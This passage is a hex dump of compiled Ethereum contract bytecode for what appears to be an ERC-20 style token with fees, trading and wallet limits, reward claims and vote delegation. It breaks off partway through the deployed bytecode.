206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610ae0565b6122828282613094565b6001600160a01b038416600090815260208190526040812091909155600280548492906122b0908490613094565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001611ccd565b60006115898284613094565b600c546000908190612319906001600160a01b031661103b565b905060006115898261203d60025490565b600f805460ff60a01b1916600160a01b1790556005805465ffffffffffff60b01b19811690915561ffff600160b01b8204811691600160c01b8104821691600160d01b90910416600061237c3061103b565b9050600754811115612452576007546123969082906122f3565b905060065460056123a791906131d9565b8111156123bf576006546123bc9060056131d9565b90505b6123c8816127e4565b600e5447906001600160a01b03166108fc6123e46002846131f0565b6040518115909202916000818181858888f1935050505015801561240c573d6000803e3d6000fd5b50600f546001600160a01b03166108fc6124276002846131f0565b6040518115909202916000818181858888f1935050505015801561244f573d6000803e3d6000fd5b50505b506005805463ffffffff60b01b1916600160b01b61ffff9586160261ffff60c01b191617600160c01b938516939093029290921761ffff60d01b1916600160d01b9190931602919091179055600f805460ff60a01b19169055565b6001600160a01b0383166125115760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610ae0565b6001600160a01b0382166125735760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610ae0565b6001600160a01b038316600090815260208190526040902054818110156125eb5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610ae0565b6125f58282613094565b6001600160a01b03808616600090815260208190526040808220939093559085168152908120805484929061262b9084906130a7565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161267791815260200190565b60405180910390a350505050565b816001600160a01b0316836001600160a01b0316141580156126a75750600081115b1561190a576001600160a01b0383161561274a576001600160a01b03831660009081526018602052604081205463ffffffff1690816126e757600061272a565b6001600160a01b03851660009081526017602052604081209061270b6001856130e9565b63ffffffff1663ffffffff168152602001908152602001600020600101545b9050600061273882856122f3565b9050612746868484846129ee565b5050505b6001600160a01b0382161561190a576001600160a01b03821660009081526018602052604081205463ffffffff1690816127855760006127c8565b6001600160a01b0384166000908152601760205260408120906127a96001856130e9565b63ffffffff1663ffffffff168152602001908152602001600020600101545b905060006127d68285612198565b9050610ff5858484846129ee565b60408051600280825260608201835260009283929190602083019080368337019050509050308160008151811061281d5761281d6130ba565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612876573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061289a9190613204565b816001815181106128ad576128ad6130ba565b6001600160a01b039283166020918202929092010152600b546128d39130911685611bb5565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061290c908690600090869030904290600401613221565b600060405180830381600087803b15801561292657600080fd5b505af115801561293a573d6000803e3d6000fd5b5050600f54600160b01b900460ff1615915061190a9050576008546001600160a01b03166129696002476131f0565b604051600081818185875af1925050503d80600081146129a5576040519150601f19603f3d011682016040523d82523d6000602084013e6129aa565b606091505b5050809250508161190a5760405162461bcd60e51b815260206004820152600e60248201526d73656e64696e67206e617469766560901b6044820152606401610ae0565b6000612a124360405180606001604052806039815260200161328f60399139612b90565b905060008463ffffffff16118015612a6c57506001600160a01b038516600090815260176020526040812063ffffffff831691612a506001886130e9565b63ffffffff908116825260208201929092526040016000205416145b15612ab5576001600160a01b03851660009081526017602052604081208391612a966001886130e9565b63ffffffff168152602081019190915260400160002060010155612b45565b60408051808201825263ffffffff838116825260208083018681526001600160a01b038a166000908152601783528581208a851682529092529390209151825463ffffffff191691161781559051600191820155612b14908590613271565b6001600160a01b0386166000908152601860205260409020805463ffffffff191663ffffffff929092169190911790555b60408051848152602081018490526001600160a01b038716917fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724910160405180910390a25050505050565b6000816401000000008410612bb85760405162461bcd60e51b8152600401610ae09190612c3a565b509192915050565b828054828255906000526020600020908101928215612c15579160200282015b82811115612c1557825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190612be0565b50612c21929150612c25565b5090565b5b80821115612c215760008155600101612c26565b600060208083528351808285015260005b81811015612c6757858101830151858201604001528201612c4b565b506000604082860101526040601f19601f8301168501019250505092915050565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114612cb357600080fd5b50565b8035612cc181612c9e565b919050565b600082601f830112612cd757600080fd5b8135602067ffffffffffffffff80831115612cf457612cf4612c88565b8260051b604051601f19603f83011681018181108482111715612d1957612d19612c88565b604052938452858101830193838101925087851115612d3757600080fd5b83870191505b84821015612d5d57612d4e82612cb6565b83529183019190830190612d3d565b979650505050505050565b60008060408385031215612d7b57600080fd5b823567ffffffffffffffff811115612d9257600080fd5b612d9e85828601612cc6565b9250506020830135612daf81612c9e565b809150509250929050565b60008060408385031215612dcd57600080fd5b8235612dd881612c9e565b946020939093013593505050565b600060208284031215612df857600080fd5b813561158981612c9e565b600080600060608486031215612e1857600080fd5b8335612e2381612c9e565b92506020840135612e3381612c9e565b929592945050506040919091013590565b803560ff81168114612cc157600080fd5b600080600060608486031215612e6a57600080fd5b612e7384612e44565b9250602084013567ffffffffffffffff811115612e8f57600080fd5b612e9b86828701612cc6565b9250506040840135612eac81612c9e565b809150509250925092565b60008060008060008060c08789031215612ed057600080fd5b8635612edb81612c9e565b95506020870135945060408701359350612ef760608801612e44565b92506080870135915060a087013590509295509295509295565b8015158114612cb357600080fd5b600060208284031215612f3157600080fd5b813561158981612f11565b600080600060608486031215612f5157600080fd5b833561ffff81168114612e2357600080fd5b60008060408385031215612f7657600080fd5b8235612f8181612c9e565b91506020830135612daf81612f11565b60008060408385031215612fa457600080fd5b8235612faf81612c9e565b91506020830135612daf81612c9e565b60008060408385031215612fd257600080fd5b8235612fdd81612c9e565b9150602083013563ffffffff81168114612daf57600080fd5b60006020828403121561300857600080fd5b5035919050565b600181811c9082168061302357607f821691505b60208210810361304357634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b81810381811115610ba557610ba561307e565b80820180821115610ba557610ba561307e565b634e487b7160e01b600052603260045260246000fd5b6000600182016130e2576130e261307e565b5060010190565b63ffffffff8281168282160390808211156131065761310661307e565b5092915050565b634e487b7160e01b600052601260045260246000fd5b600063ffffffff8084168061313a5761313a61310d565b92169190910492915050565b60006020828403121561315857600080fd5b815161158981612f11565b600060a082018783526020878185015260a0604085015281875480845260c0860191508860005282600020935060005b818110156131b85784546001600160a01b031683526001948501949284019201613193565b50506001600160a01b03969096166060850152505050608001529392505050565b8082028115828204841417610ba557610ba561307e565b6000826131ff576131ff61310d565b500490565b60006020828403121561321657600080fd5b815161158981612c9e565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156131b85784516001600160a01b03168352938301939183019160010161324c565b63ffffffff8181168382160190808211156131065761310661307e56fe757067726164696e673a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473a2646970667358221220941c5d689350cef1da72c955e90e54b1b57166d0aced0b4a78d8111fb662a38964736f6c63430008110033

Deployed Bytecode

0x6080604052600436106102e75760003560e01c8063751039fc11610190578063c884ef83116100dc578063dd62ed3e11610095578063f1127ed81161006f578063f1127ed814610960578063f160d369146109c4578063f2fde38b146109e4578063f301af4214610a0457600080fd5b8063dd62ed3e146108e4578063dea062101461092a578063df8408fe1461094057600080fd5b8063c884ef8314610822578063c9567bf91461084f578063cb02184e14610864578063d4c989d314610884578063d5abeb01146108a4578063db90127e146108c457600080fd5b8063a457c2d711610149578063a9e7572311610123578063a9e75723146107b8578063aa4bde28146107cd578063b4b5ea57146107e2578063c816841b1461080257600080fd5b8063a457c2d714610758578063a84645bf14610778578063a9059cbb1461079857600080fd5b8063751039fc146106ad5780637ecebe00146106c25780638da5cb5b146106ef57806395d89b411461070d578063997664d7146107225780639f9a4e7f1461073857600080fd5b8063469048401161024f57806362e546f9116102085780636fcfff45116101e25780636fcfff451461061057806370a0823114610658578063715018a614610678578063735de9f71461068d57600080fd5b806362e546f9146105a2578063658c27a9146105b7578063669416b8146105f057600080fd5b806346904840146104a45780634b418bc5146104dc5780635342acb414610509578063537ccb0a146105425780635e8794411461056257806360dc23401461058257600080fd5b806318160ddd116102a157806318160ddd146103d25780631b79fab8146103e757806320606b701461041457806323b872dd14610448578063313ce56714610468578063395093511461048457600080fd5b8062dc1297146102f357806306fdde03146103295780630865fb0b1461034b578063095ea7b31461036d57806309f6c1301461038d57806313f43a57146103ae57600080fd5b366102ee57005b600080fd5b3480156102ff57600080fd5b50600f5461031490600160a81b900460ff1681565b60405190151581526020015b60405180910390f35b34801561033557600080fd5b5061033e610a24565b6040516103209190612c3a565b34801561035757600080fd5b5061036b610366366004612d68565b610ab6565b005b34801561037957600080fd5b50610314610388366004612dba565b610b94565b34801561039957600080fd5b50600f5461031490600160b01b900460ff1681565b3480156103ba57600080fd5b506103c460065481565b604051908152602001610320565b3480156103de57600080fd5b506002546103c4565b3480156103f357600080fd5b506103c4610402366004612de6565b600a6020526000908152604090205481565b34801561042057600080fd5b506103c47f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b34801561045457600080fd5b50610314610463366004612e03565b610bab565b34801561047457600080fd5b5060405160128152602001610320565b34801561049057600080fd5b5061031461049f366004612dba565b610c5c565b3480156104b057600080fd5b50600e546104c4906001600160a01b031681565b6040516001600160a01b039091168152602001610320565b3480156104e857600080fd5b506103c46104f7366004612de6565b60146020526000908152604090205481565b34801561051557600080fd5b50610314610524366004612de6565b6001600160a01b031660009081526010602052604090205460ff1690565b34801561054e57600080fd5b5061036b61055d366004612e55565b610c93565b34801561056e57600080fd5b5061036b61057d366004612eb7565b610d20565b34801561058e57600080fd5b50600f546104c4906001600160a01b031681565b3480156105ae57600080fd5b5061036b610ffd565b3480156105c357600080fd5b506103146105d2366004612de6565b6001600160a01b031660009081526011602052604090205460ff1690565b3480156105fc57600080fd5b50600d546104c4906001600160a01b031681565b34801561061c57600080fd5b5061064361062b366004612de6565b60186020526000908152604090205463ffffffff1681565b60405163ffffffff9091168152602001610320565b34801561066457600080fd5b506103c4610673366004612de6565b61103b565b34801561068457600080fd5b5061036b611056565b34801561069957600080fd5b50600b546104c4906001600160a01b031681565b3480156106b957600080fd5b5061036b6110ca565b3480156106ce57600080fd5b506103c46106dd366004612de6565b60196020526000908152604090205481565b3480156106fb57600080fd5b506005546001600160a01b03166104c4565b34801561071957600080fd5b5061033e61113f565b34801561072e57600080fd5b506103c460075481565b34801561074457600080fd5b5061036b610753366004612f1f565b61114e565b34801561076457600080fd5b50610314610773366004612dba565b611196565b34801561078457600080fd5b506103c4610793366004612dba565b611231565b3480156107a457600080fd5b506103146107b3366004612dba565b6114a3565b3480156107c457600080fd5b506103c46114b0565b3480156107d957600080fd5b506103c46114ee565b3480156107ee57600080fd5b506103c46107fd366004612de6565b61151b565b34801561080e57600080fd5b50600c546104c4906001600160a01b031681565b34801561082e57600080fd5b506103c461083d366004612de6565b60136020526000908152604090205481565b34801561085b57600080fd5b5061036b611590565b34801561087057600080fd5b5061036b61087f366004612f3c565b6115dc565b34801561089057600080fd5b5061036b61089f366004612f63565b61190f565b3480156108b057600080fd5b506103c46b09b18ab5df7180b6b800000081565b3480156108d057600080fd5b506103c46108df366004612de6565b611964565b3480156108f057600080fd5b506103c46108ff366004612f91565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561093657600080fd5b506103c460095481565b34801561094c57600080fd5b5061036b61095b366004612f63565b6119fa565b34801561096c57600080fd5b506109a861097b366004612fbf565b60176020908152600092835260408084209091529082529020805460019091015463ffffffff9091169082565b6040805163ffffffff9093168352602083019190915201610320565b3480156109d057600080fd5b5061036b6109df366004612de6565b611a4f565b3480156109f057600080fd5b5061036b6109ff366004612de6565b611a9b565b348015610a1057600080fd5b506104c4610a1f366004612ff6565b611b86565b606060038054610a339061300f565b80601f0160208091040260200160405190810160405280929190818152602001828054610a5f9061300f565b8015610aac5780601f10610a8157610100808354040283529160200191610aac565b820191906000526020600020905b815481529060010190602001808311610a8f57829003601f168201915b5050505050905090565b6005546001600160a01b03163314610ae95760405162461bcd60e51b8152600401610ae090613049565b60405180910390fd5b604080518082019091526001600160a01b03828116825260208083018581526015805460018101825560009190915284517f55f448fdea98c4d29eb340757ef0a66cd03dbb9538908a6a81d96026b71ec475600290920291820180546001600160a01b0319169190951617845590518051610b8d937f55f448fdea98c4d29eb340757ef0a66cd03dbb9538908a6a81d96026b71ec476909301929190910190612bc0565b5050505050565b6000610ba1338484611bb5565b5060015b92915050565b6000610bb8848484611cda565b6001600160a01b038416600090815260016020908152604080832033845290915290205482811015610c3d5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610ae0565b610c518533610c4c8685613094565b611bb5565b506001949350505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610ba1918590610c4c9086906130a7565b6005546001600160a01b03163314610cbd5760405162461bcd60e51b8152600401610ae090613049565b600060158460ff1681548110610cd557610cd56130ba565b9060005260206000209060020201905082816001019080519060200190610cfd929190612bc0565b5080546001600160a01b0319166001600160a01b03929092169190911790555050565b60007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866610d4b610a24565b80519060200120610d594690565b60408051602080820195909552808201939093526060830191909152306080808401919091528151808403909101815260a0830182528051908401207fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf60c08401526001600160a01b038b1660e084015261010083018a90526101208084018a90528251808503909101815261014084019092528151919093012061190160f01b610160830152610162820183905261018282018190529192506000906101a20160408051601f198184030181528282528051602091820120600080855291840180845281905260ff8a169284019290925260608301889052608083018790529092509060019060a0016020604051602081039080840390855afa158015610e85573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610efc5760405162461bcd60e51b815260206004820152602b60248201527f757067726164696e673a3a64656c656761746542795369673a20696e76616c6960448201526a64207369676e617475726560a81b6064820152608401610ae0565b6001600160a01b0381166000908152601960205260408120805491610f20836130d0565b919050558914610f825760405162461bcd60e51b815260206004820152602760248201527f757067726164696e673a3a64656c656761746542795369673a20696e76616c6960448201526664206e6f6e636560c81b6064820152608401610ae0565b87421115610fe65760405162461bcd60e51b815260206004820152602b60248201527f757067726164696e673a3a64656c656761746542795369673a207369676e617460448201526a1d5c9948195e1c1a5c995960aa1b6064820152608401610ae0565b610ff0818b6120eb565b505050505b505050505050565b600e5460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015611037573d6000803e3d6000fd5b5050565b6001600160a01b031660009081526020819052604090205490565b6005546001600160a01b031633146110805760405162461bcd60e51b8152600401610ae090613049565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b031633146110f45760405162461bcd60e51b8152600401610ae090613049565b600580546001600160e01b0381166001600160f01b03600160a01b80840461ffff908116600160e01b029283169390931761ffff60e01b199094169091170416600160f01b02179055565b606060048054610a339061300f565b6005546001600160a01b031633146111785760405162461bcd60e51b8152600401610ae090613049565b600f8054911515600160a81b0260ff60a81b19909216919091179055565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156112185760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610ae0565b6112273385610c4c8685613094565b5060019392505050565b600043821061129c5760405162461bcd60e51b815260206004820152603160248201527f557067726164696e673a3a676574476f7665726e616e6365566f7465733a206e6044820152701bdd081e595d0819195d195c9b5a5b9959607a1b6064820152608401610ae0565b6001600160a01b03831660009081526018602052604081205463ffffffff16908190036112cd576000915050610ba5565b6001600160a01b038416600090815260176020526040812084916112f26001856130e9565b63ffffffff9081168252602082019290925260400160002054161161135b576001600160a01b0384166000908152601760205260408120906113356001846130e9565b63ffffffff1663ffffffff16815260200190815260200160002060010154915050610ba5565b6001600160a01b038416600090815260176020908152604080832083805290915290205463ffffffff16831015611396576000915050610ba5565b6000806113a46001846130e9565b90505b8163ffffffff168163ffffffff16111561146c57600060026113c984846130e9565b6113d39190613123565b6113dd90836130e9565b6001600160a01b038816600090815260176020908152604080832063ffffffff808616855290835292819020815180830190925280549093168082526001909301549181019190915291925087900361144057602001519450610ba59350505050565b805163ffffffff1687111561145757819350611465565b6114626001836130e9565b92505b50506113a7565b506001600160a01b038516600090815260176020908152604080832063ffffffff9094168352929052206001015491505092915050565b6000610ba1338484611cda565b6005546000906114e99061ffff600160a01b82048116916114e391600160e01b909104166114dd60025490565b90612180565b9061218c565b905090565b6005546000906114e99061ffff600160a01b82048116916114e391600160f01b909104166114dd60025490565b6001600160a01b03811660009081526018602052604081205463ffffffff1680611546576000611589565b6001600160a01b03831660009081526017602052604081209061156a6001846130e9565b63ffffffff1663ffffffff168152602001908152602001600020600101545b9392505050565b6005546001600160a01b031633146115ba5760405162461bcd60e51b8152600401610ae090613049565b6012805460ff19166001179055600f805460ff60a81b1916600160a81b179055565b6115e53061103b565b6007541161190a5760006115f833611964565b9050600081116116405760405162461bcd60e51b81526020600482015260136024820152726e6f7420656e6f75676820746f20636c61696d60681b6044820152606401610ae0565b600060158561ffff1681548110611659576116596130ba565b90600052602060002090600202019050600f60169054906101000a900460ff16611881578461ffff1660000361170357805460405163a9059cbb60e01b8152336004820152602481018490526001600160a01b039091169063a9059cbb906044016020604051808303816000875af11580156116d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116fd9190613146565b50611833565b8461ffff166001036117a357600b546117279030906001600160a01b031684611bb5565b600b546001600160a01b031663791ac947836000600185013361174c4261012c612198565b6040518663ffffffff1660e01b815260040161176c959493929190613163565b600060405180830381600087803b15801561178657600080fd5b505af115801561179a573d6000803e3d6000fd5b50505050611833565b600b546117bb9030906001600160a01b031684611bb5565b600b546001600160a01b0316635c11d79583600060018501336117e04261012c612198565b6040518663ffffffff1660e01b8152600401611800959493929190613163565b600060405180830381600087803b15801561181a57600080fd5b505af115801561182e573d6000803e3d6000fd5b505050505b3360009081526011602052604090205460ff161561187c57600880546001600160a01b0386166001600160a01b0319909116179055600f805460ff60b01b1916600160b01b1790555b6118bb565b3360009081526010602052604090205460ff16156118bb57600b546118b19030906001600160a01b031684611bb5565b6118bb84846121a4565b336000908152601360205260409020546118d59083612198565b3360009081526013602090815260408083209390935560095460149091529190205560075461190490836122f3565b60075550505b505050565b6005546001600160a01b031633146119395760405162461bcd60e51b8152600401610ae090613049565b6001600160a01b03919091166000908152601160205260409020805460ff1916911515919091179055565b6000806119708361103b565b9050600061197c6122ff565b905080600003611990575060009392505050565b6001600160a01b0384166000908152601460205260408120546009546119b5916122f3565b905080156119ef5760006119cd836114e38487612180565b90506007548111156119e6575050600754949350505050565b95945050505050565b506000949350505050565b6005546001600160a01b03163314611a245760405162461bcd60e51b8152600401610ae090613049565b6001600160a01b03919091166000908152601060205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314611a795760405162461bcd60e51b8152600401610ae090613049565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314611ac55760405162461bcd60e51b8152600401610ae090613049565b6001600160a01b038116611b2a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ae0565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b60158181548110611b9657600080fd5b60009182526020909120600290910201546001600160a01b0316905081565b6001600160a01b038316611c175760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610ae0565b6001600160a01b038216611c785760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610ae0565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b60125460ff1680611cf857506005546001600160a01b038481169116145b80611d1057506005546001600160a01b038381169116145b80611d285750600b546001600160a01b038481169116145b611d605760405162461bcd60e51b8152602060048201526009602482015268217472616461626c6560b81b6044820152606401610ae0565b600c546001600160a01b03848116911614801590611d885750600f54600160a01b900460ff16155b15611da957600d80546001600160a01b0319166001600160a01b0385161790555b600f54600160a81b900460ff1615156001148015611dd15750600f54600160a01b900460ff16155b8015611de75750600b546001600160a01b031615155b8015611dfd5750600c546001600160a01b031615155b8015611e175750600c546001600160a01b03848116911614155b8015611e2d5750600654611e2a3061103b565b10155b8015611e5257506001600160a01b03831660009081526010602052604090205460ff16155b8015611e7757506001600160a01b03821660009081526010602052604090205460ff16155b15611e8457611e8461232a565b6001600160a01b03831660009081526011602052604090205460ff16611ef257611eac6114b0565b811115611ef25760405162461bcd60e51b8152602060048201526014602482015273195e18d95959081b585e081d1e08185b5bdd5b9d60621b6044820152606401610ae0565b600c546001600160a01b03838116911614611f7b57611f0f6114ee565b81611f198461103b565b611f2391906130a7565b1115611f7b5760405162461bcd60e51b815260206004820152602160248201527f596f752061726520657863656564696e67206d617857616c6c6574416d6f756e6044820152601d60fa1b6064820152608401610ae0565b6001600160a01b03831660009081526010602052604090205460ff1615611fa75761190a8383836124ad565b600554600090611fd19061ffff600160a01b82048116916114e3918691600160b01b900416612180565b600554909150600090611ffe9061ffff600160a01b82048116916114e3918791600160c01b900416612180565b60055490915060009061202b9061ffff600160a01b82048116916114e3918891600160d01b900416612180565b90506120438161203d848188886122f3565b906122f3565b600c549094506001600160a01b0390811690871603612097576001600160a01b0385166000908152600a60205260408120549003612097576001600160a01b0385166000908152600a602052604090204290555b6120a28686866124ad565b6120ad8630856124ad565b6120b88630846124ad565b6120c38630836124ad565b6007546120d09082612198565b6007556009546120e09082612198565b600955505050505050565b6001600160a01b03808316600090815260166020526040812054909116906121128461103b565b6001600160a01b0385811660008181526016602052604080822080546001600160a01b031916898616908117909155905194955093928616927f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a461217a828483612685565b50505050565b600061158982846131d9565b600061158982846131f0565b600061158982846130a7565b6001600160a01b0382166122045760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610ae0565b6001600160a01b038216600090815260208190526040902054818110156122785760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610ae0565b6122828282613094565b6001600160a01b038416600090815260208190526040812091909155600280548492906122b0908490613094565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001611ccd565b60006115898284613094565b600c546000908190612319906001600160a01b031661103b565b905060006115898261203d60025490565b600f805460ff60a01b1916600160a01b1790556005805465ffffffffffff60b01b19811690915561ffff600160b01b8204811691600160c01b8104821691600160d01b90910416600061237c3061103b565b9050600754811115612452576007546123969082906122f3565b905060065460056123a791906131d9565b8111156123bf576006546123bc9060056131d9565b90505b6123c8816127e4565b600e5447906001600160a01b03166108fc6123e46002846131f0565b6040518115909202916000818181858888f1935050505015801561240c573d6000803e3d6000fd5b50600f546001600160a01b03166108fc6124276002846131f0565b6040518115909202916000818181858888f1935050505015801561244f573d6000803e3d6000fd5b50505b506005805463ffffffff60b01b1916600160b01b61ffff9586160261ffff60c01b191617600160c01b938516939093029290921761ffff60d01b1916600160d01b9190931602919091179055600f805460ff60a01b19169055565b6001600160a01b0383166125115760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610ae0565b6001600160a01b0382166125735760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610ae0565b6001600160a01b038316600090815260208190526040902054818110156125eb5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610ae0565b6125f58282613094565b6001600160a01b03808616600090815260208190526040808220939093559085168152908120805484929061262b9084906130a7565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161267791815260200190565b60405180910390a350505050565b816001600160a01b0316836001600160a01b0316141580156126a75750600081115b1561190a576001600160a01b0383161561274a576001600160a01b03831660009081526018602052604081205463ffffffff1690816126e757600061272a565b6001600160a01b03851660009081526017602052604081209061270b6001856130e9565b63ffffffff1663ffffffff168152602001908152602001600020600101545b9050600061273882856122f3565b9050612746868484846129ee565b5050505b6001600160a01b0382161561190a576001600160a01b03821660009081526018602052604081205463ffffffff1690816127855760006127c8565b6001600160a01b0384166000908152601760205260408120906127a96001856130e9565b63ffffffff1663ffffffff168152602001908152602001600020600101545b905060006127d68285612198565b9050610ff5858484846129ee565b60408051600280825260608201835260009283929190602083019080368337019050509050308160008151811061281d5761281d6130ba565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612876573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061289a9190613204565b816001815181106128ad576128ad6130ba565b6001600160a01b039283166020918202929092010152600b546128d39130911685611bb5565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061290c908690600090869030904290600401613221565b600060405180830381600087803b15801561292657600080fd5b505af115801561293a573d6000803e3d6000fd5b5050600f54600160b01b900460ff1615915061190a9050576008546001600160a01b03166129696002476131f0565b604051600081818185875af1925050503d80600081146129a5576040519150601f19603f3d011682016040523d82523d6000602084013e6129aa565b606091505b5050809250508161190a5760405162461bcd60e51b815260206004820152600e60248201526d73656e64696e67206e617469766560901b6044820152606401610ae0565b6000612a124360405180606001604052806039815260200161328f60399139612b90565b905060008463ffffffff16118015612a6c57506001600160a01b038516600090815260176020526040812063ffffffff831691612a506001886130e9565b63ffffffff908116825260208201929092526040016000205416145b15612ab5576001600160a01b03851660009081526017602052604081208391612a966001886130e9565b63ffffffff168152602081019190915260400160002060010155612b45565b60408051808201825263ffffffff838116825260208083018681526001600160a01b038a166000908152601783528581208a851682529092529390209151825463ffffffff191691161781559051600191820155612b14908590613271565b6001600160a01b0386166000908152601860205260409020805463ffffffff191663ffffffff929092169190911790555b60408051848152602081018490526001600160a01b038716917fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724910160405180910390a25050505050565b6000816401000000008410612bb85760405162461bcd60e51b8152600401610ae09190612c3a565b509192915050565b828054828255906000526020600020908101928215612c15579160200282015b82811115612c1557825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190612be0565b50612c21929150612c25565b5090565b5b80821115612c215760008155600101612c26565b600060208083528351808285015260005b81811015612c6757858101830151858201604001528201612c4b565b506000604082860101526040601f19601f8301168501019250505092915050565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114612cb357600080fd5b50565b8035612cc181612c9e565b919050565b600082601f830112612cd757600080fd5b8135602067ffffffffffffffff80831115612cf457612cf4612c88565b8260051b604051601f19603f83011681018181108482111715612d1957612d19612c88565b604052938452858101830193838101925087851115612d3757600080fd5b83870191505b84821015612d5d57612d4e82612cb6565b83529183019190830190612d3d565b979650505050505050565b60008060408385031215612d7b57600080fd5b823567ffffffffffffffff811115612d9257600080fd5b612d9e85828601612cc6565b9250506020830135612daf81612c9e565b809150509250929050565b60008060408385031215612dcd57600080fd5b8235612dd881612c9e565b946020939093013593505050565b600060208284031215612df857600080fd5b813561158981612c9e565b600080600060608486031215612e1857600080fd5b8335612e2381612c9e565b92506020840135612e3381612c9e565b929592945050506040919091013590565b803560ff81168114612cc157600080fd5b600080600060608486031215612e6a57600080fd5b612e7384612e44565b9250602084013567ffffffffffffffff811115612e8f57600080fd5b612e9b86828701612cc6565b9250506040840135612eac81612c9e565b809150509250925092565b60008060008060008060c08789031215612ed057600080fd5b8635612edb81612c9e565b95506020870135945060408701359350612ef760608801612e44565b92506080870135915060a087013590509295509295509295565b8015158114612cb357600080fd5b600060208284031215612f3157600080fd5b813561158981612f11565b600080600060608486031215612f5157600080fd5b833561ffff81168114612e2357600080fd5b60008060408385031215612f7657600080fd5b8235612f8181612c9e565b91506020830135612daf81612f11565b60008060408385031215612fa457600080fd5b8235612faf81612c9e565b91506020830135612daf81612c9e565b60008060408385031215612fd257600080fd5b8235612fdd81612c9e565b9150602083013563ffffffff81168114612daf57600080fd5b60006020828403121561300857600080fd5b5035919050565b600181811c9082168061302357607f821691505b60208210810361304357634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b81810381811115610ba557610ba561307e565b80820180821115610ba557610ba561307e565b634e487b7160e01b600052603260045260246000fd5b6000600182016130e2576130e261307e565b5060010190565b63ffffffff8281168282160390808211156131065761310661307e565b5092915050565b634e487b7160e01b600052601260045260246000fd5b600063ffffffff8084168061313a5761313a61310d565b92169190910492915050565b6000602082840312156